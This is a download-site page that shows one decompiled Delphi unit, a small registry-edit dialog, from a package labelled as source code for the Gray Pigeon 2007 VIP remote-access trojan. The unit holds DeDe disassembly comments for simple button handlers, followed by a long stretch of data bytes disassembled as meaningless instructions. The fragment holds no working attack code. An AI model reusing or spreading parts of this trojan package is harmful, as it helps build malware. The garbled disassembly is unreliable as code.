⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 regeditunit.pas

📁 灰鸽子2007VIP版源码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit RegEditUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TRegEdit=class(TForm)
    spDynamicSkinForm1: TspDynamicSkinForm;
    Label1: TspSkinStdLabel;
    Label2: TspSkinStdLabel;
    Edit1: TspSkinEdit;
    Edit2: TspSkinEdit;
    Button1: TspSkinButton;
    Button2: TspSkinButton;
    procedure Button1Click(Sender : TObject);
    procedure Button2Click(Sender : TObject);
    procedure _PROC_00590E6D(Sender : TObject);
    procedure _PROC_00590E9C(Sender : TObject);
    procedure _PROC_00590EA4(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  RegEdit: TRegEdit;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TRegEdit.Button1Click(Sender : TObject);
begin
(*

* Reference to field TRegEdit.Tag : Longint
|
00590E54   C7400C64000000         mov     dword ptr [eax+$0C], $00000064

* Reference to: Forms.TCustomForm.Close(TCustomForm);
|
00590E5B   E88831EFFF             call    00483FE8
00590E60   C3                     ret

*)
end;

procedure TRegEdit.Button2Click(Sender : TObject);
begin
(*

* Reference to: Forms.TCustomForm.Close(TCustomForm);
|
00590E64   E87F31EFFF             call    00483FE8
00590E69   C3                     ret

*)
end;

procedure TRegEdit._PROC_00590E6D(Sender : TObject);
begin
(*
00590E6D   8BEC                   mov     ebp, esp
00590E6F   33C0                   xor     eax, eax
00590E71   55                     push    ebp
00590E72   68910E5900             push    $00590E91

***** TRY
|
00590E77   64FF30                 push    dword ptr fs:[eax]
00590E7A   648920                 mov     fs:[eax], esp
00590E7D   FF056C085E00           inc     dword ptr [$005E086C]
00590E83   33C0                   xor     eax, eax
00590E85   5A                     pop     edx
00590E86   59                     pop     ecx
00590E87   59                     pop     ecx
00590E88   648910                 mov     fs:[eax], edx

****** FINALLY
|
00590E8B   68980E5900             push    $00590E98
00590E90   C3                     ret


* Reference to: System.@HandleFinally;
|
00590E91   E9FA34E7FF             jmp     00404390
00590E96   EBF8                   jmp     00590E90

****** END
|
00590E98   5D                     pop     ebp
00590E99   C3                     ret

*)
end;

procedure TRegEdit._PROC_00590E9C(Sender : TObject);
begin
(*
00590E9C   832D6C085E0001         sub     dword ptr [$005E086C], +$01
00590EA3   C3                     ret

*)
end;

procedure TRegEdit._PROC_00590EA4(Sender : TObject);
begin
(*
00590EA4   A80E                   test    al, $0E
00590EA6   59                     pop     ecx
00590EA7   0003                   add     [ebx], al
00590EA9   0B544361               or      edx, [ebx+eax*2+$61]
00590EAD   7265                   jb      00590F14
00590EAF   7453                   jz      00590F04
00590EB1   7479                   jz      00590F2C
00590EB3   6C                     insb
00590EB4   650100                 add     gs:[eax], eax
00590EB7   0000                   add     [eax], al

00590EB9   0002                   add     [edx], al
00590EBB   0000                   add     [eax], al

00590EBD   00A40E59000663         add     [esi+ecx+$63060059], ah
00590EC4   7346                   jnb     00590F0C
00590EC6   756C                   jnz     00590F34
00590EC8   6C                     insb
00590EC9   0A6373                 or      ah, byte ptr [ebx+$73]
00590ECC   4C                     dec     esp
00590ECD   6566744C               jz      00590F1D
00590ED1   696E650C637342         imul    ebp, [esi+$65], $4273630C
00590ED8   6F                     outsd
00590ED9   7474                   jz      00590F4F
00590EDB   6F                     outsd
00590EDC   6D                     insd
00590EDD   4C                     dec     esp
00590EDE   696E6509686578         imul    ebp, [esi+$65], $78656809
00590EE5   656469746F7290F00E59   imul    esi, fs:[edi+ebp*2+$72], $590EF090
00590EEF   0003                   add     [ebx], al
00590EF1   13544F66               adc     edx, [edi+ecx*2+$66]
00590EF5   667365                 jnb     00590F5D
00590EF8   7444                   jz      00590F3E
00590EFA   6973706C617953         imul    esi, [ebx+$70], $5379616C
00590F01   7479                   jz      00590F7C
00590F03   6C                     insb
00590F04   650100                 add     gs:[eax], eax
00590F07   0000                   add     [eax], al

00590F09   0003                   add     [ebx], al
00590F0B   0000                   add     [eax], al

00590F0D   00EC                   add     ah, ch
00590F0F   0E                     push    cs
00590F10   59                     pop     ecx
00590F11   00056F644865           add     [$6548646F], al
00590F17   7805                   js      00590F1E
00590F19   6F                     outsd
00590F1A   6444                   inc     esp
00590F1C   656307                 arpl    gs:[edi], ax
00590F1F   6F                     outsd
00590F20   644F                   dec     edi
00590F22   6374616C               arpl    [ecx+$6C], si
00590F26   06                     push    es
00590F27   6F                     outsd
00590F28   644E                   dec     esi
00590F2A   6F                     outsd
00590F2B   6E                     outsb
00590F2C   65096865               or      gs:[eax+$65], ebp
00590F30   7865                   js      00590F97
00590F32   6469746F72903C0F59     imul    esi, fs:[edi+ebp*2+$72], $590F3C90
00590F3B   0003                   add     [ebx], al
00590F3D   10545472               adc     [esp+edx*2+$72], dl
00590F41   61                     popa
00590F42   6E                     outsb
00590F43   736C                   jnb     00590FB1
00590F45   61                     popa
00590F46   7469                   jz      00590FB1
00590F48   6F                     outsd
00590F49   6E                     outsb
00590F4A   54                     push    esp
00590F4B   7970                   jns     00590FBD
00590F4D   650100                 add     gs:[eax], eax
00590F50   0000                   add     [eax], al

00590F52   000400                 add     [eax+eax], al
00590F55   0000                   add     [eax], al

00590F57   380F                   cmp     [edi], cl
00590F59   59                     pop     ecx
00590F5A   0006                   add     [esi], al
00590F5C   7474                   jz      00590FD2
00590F5E   41                     inc     ecx
00590F5F   6E                     outsb
00590F60   7369                   jnb     00590FCB
00590F62   06                     push    es
00590F63   7474                   jz      00590FD9
00590F65   44                     inc     esp
00590F66   6F                     outsd
00590F67   7338                   jnb     00590FA1
00590F69   07                     pop     es
00590F6A   7474                   jz      00590FE0
00590F6C   41                     inc     ecx
00590F6D   53                     push    ebx
00590F6E   43                     inc     ebx
00590F6F   49                     dec     ecx
00590F70   49                     dec     ecx
00590F71   0574744D61             add     eax, +$614D7474
00590F76   6308                   arpl    [eax], cx
00590F78   7474                   jz      00590FEE
00590F7A   45                     inc     ebp
00590F7B   42                     inc     edx
00590F7C   43                     inc     ebx
00590F7D   44                     inc     esp
00590F7E   49                     dec     ecx
00590F7F   43                     inc     ebx
00590F80   096865                 or      [eax+$65], ebp
00590F83   7865                   js      00590FEA
00590F85   6469746F728BC0D80F     imul    esi, fs:[edi+ebp*2+$72], $0FD8C08B
00590F8E   59                     pop     ecx
00590F8F   0000                   add     [eax], al

00590F91   0000                   add     [eax], al

00590F93   0000                   add     [eax], al

00590F95   0000                   add     [eax], al

00590F97   0000                   add     [eax], al

00590F99   0000                   add     [eax], al

00590F9B   00F0                   add     al, dh
00590F9D   0F59                   DB  $0F, $59  //
00590F9F   0000                   add     [eax], al

00590FA1   0000                   add     [eax], al

00590FA3   0000                   add     [eax], al

00590FA5   0000                   add     [eax], al

00590FA7   0000                   add     [eax], al

00590FA9   0000                   add     [eax], al

00590FAB   00E4                   add     ah, ah
00590FAD   0F59                   DB  $0F, $59  //
00590FAF   003400                 add     [eax+eax], dh
00590FB2   0000                   add     [eax], al

00590FB4   18874100443E           sbb     [edi+$3E440041], al
00590FBA   40                     inc     eax
00590FBB   00503E                 add     [eax+$3E], dl
00590FBE   40                     inc     eax
00590FBF   00543E40               add     [esi+edi+$40], dl
00590FC3   00583E                 add     [eax+$3E], bl
00590FC6   40                     inc     eax
00590FC7   004C3E40               add     [esi+edi+$40], cl
00590FCB   00943B4000B03B         add     [ebx+edi+$3BB00040], dl
00590FD2   40                     inc     eax
00590FD3   00F4                   add     ah, dh
00590FD5   B9410004BB             mov     ecx, $BB040041
00590FDA   41                     inc     ecx
00590FDB   000CBB                 add     [ebx+edi*4], cl
00590FDE   41                     inc     ecx
00590FDF   0020                   add     [eax], ah
00590FE1   BA41000754             mov     edx, $54070041
00590FE6   43                     inc     ebx
00590FE7   6F                     outsd
00590FE8   6C                     insb
00590FE9   6F                     outsd
00590FEA   7273                   jb      0059105F
00590FEC   F0                     lock
00590FED   0F59                   DB  $0F, $59  //
00590FEF   0007                   add     [edi], al
00590FF1   07                     pop     es
00590FF2   54                     push    esp
00590FF3   43                     inc     ebx
00590FF4   6F                     outsd
00590FF5   6C                     insb
00590FF6   6F                     outsd
00590FF7   7273                   jb      0059106C
00590FF9   D80F                   fmul    dword ptr [edi]
00590FFB   59                     pop     ecx
00590FFC   008C8741000900         add     [edi+eax*4+$90041], cl
00591003   096865                 or      [eax+$65], ebp
00591006   7865                   js      0059106D
00591008   6469746F720900D45A     imul    esi, fs:[edi+ebp*2+$72], $5AD40009
00591011   42                     inc     edx
00591012   002400                 add     [eax+eax], ah
00591015   00FF                   add     bh, bh
00591017   9C                     pushf   
00591018   6759                   pop     ecx
0059101A   0001                   add     [ecx], al
0059101C   0000                   add     [eax], al

0059101E   0000                   add     [eax], al

00591020   0000                   add     [eax], al

00591022   800000                 add     byte ptr [eax], $00
00591025   008000000A42           add     [eax+$420A0000], al

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -